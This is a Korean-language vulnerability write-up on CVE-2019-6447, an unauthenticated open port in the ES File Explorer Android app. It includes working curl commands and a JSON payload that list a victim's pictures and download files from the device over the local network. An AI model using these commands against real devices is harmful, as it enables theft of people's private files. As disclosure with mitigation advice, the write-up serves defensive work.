CVE-2019-6447 : ES File Explorer Open Port Vulnerability
JANUARY 28, 2019

• ES 파일 탐색기(ES File Explorer)

2014년부터 1억명 이상의 안드로이드 이용자가 디바이스에서 파일(이미지, 음악, 문서 등)들을 관리하기 위한 용도로 사용하는 대중적인 애플리케이션입니다.
파일 관리 기능 외에도 애플리케이션 관리, 원격 관리, FTP 및 WebDAV 클라이언트 기능 등 다양한 기능을 이용할 수 있습니다.

• Impact

공격자와 피해자가 동일 네트워크 망을 사용하고 있을 경우 ES 파일 탐색기 기능(디바이스 정보, 디바이스 내 파일 조회 등)을 공격자가 원격으로 실행하여 피해자의 중요 정보(이미지, 파일 등)가 유출될 수 있습니다.

• Affected Versions

4.1.9.7.4 이하

• Description

피해자 디바이스에 ES 파일 탐색기를 설치 후 실행 시 내부적으로 59777 포트를 활성화하여 공격자가 권한 없이 접근할 수 있는 상태가 됩니다.
# netstat -ap | grep es

해당 포트는 애플리케이션이 백그라운드로 동작 중에도 공격자가 접근할 수 있도록 활성화되어 있으며 해당 포트를 통해 공격자가 JSON 형태로 명령을 보내면 실행된 결과를 볼 수 있습니다.
C:\Users> curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"[my_awesome_cmd]\"}" [target_ip:port]
C:\Users> curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listPics\"}" http://192.168.10.39:59777

JSON으로 명령을 전송할 때 POST 방식으로 보낼 수도 있습니다.
C:\Users> C:\Users> curl --header "Content-Type: application/json" --request POST --data @[json_filename] [target_ip:port]
C:\Users> curl --header "Content-Type: application/json" --request POST --data @payload.json http://192.168.10.39:59777


payload.json
{"command":"listPics"}

실행된 결과를 보면 피해자의 디바이스에 저장된 이미지 정보를 확인할 수 있으며 해당 이미지를 공격자가 무단으로 아래와 같이 탈취도 가능합니다.
C:\Users\dhkim\Downloads> curl --header "Content-Type: application/json" --request GET [target_ip:port]/[file_path] --output [file]
C:\Users\dhkim\Downloads> curl --header "Content-Type: application/json" --request GET http://192.168.10.39:59777/sdcard/Download/images.jpeg --output images.jpeg

해당 취약점은 공격자와 피해자가 같은 네트워크 망을 사용하고 있을 경우에 발생하며 위에서 설명한 명령 외에도 디바이스 정보 획득, 디바이스 내 파일 조회 및 탈취 등의 다양한 명령을 공격자가 원격으로 실행할 수 있기 때문에 해당 애플리케이션을 제거하거나 최신 버전으로 업데이트하여 취약점을 제거하여야 합니다.

• Reference

https://nvd.nist.gov/vuln/detail/CVE-2019-6447
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln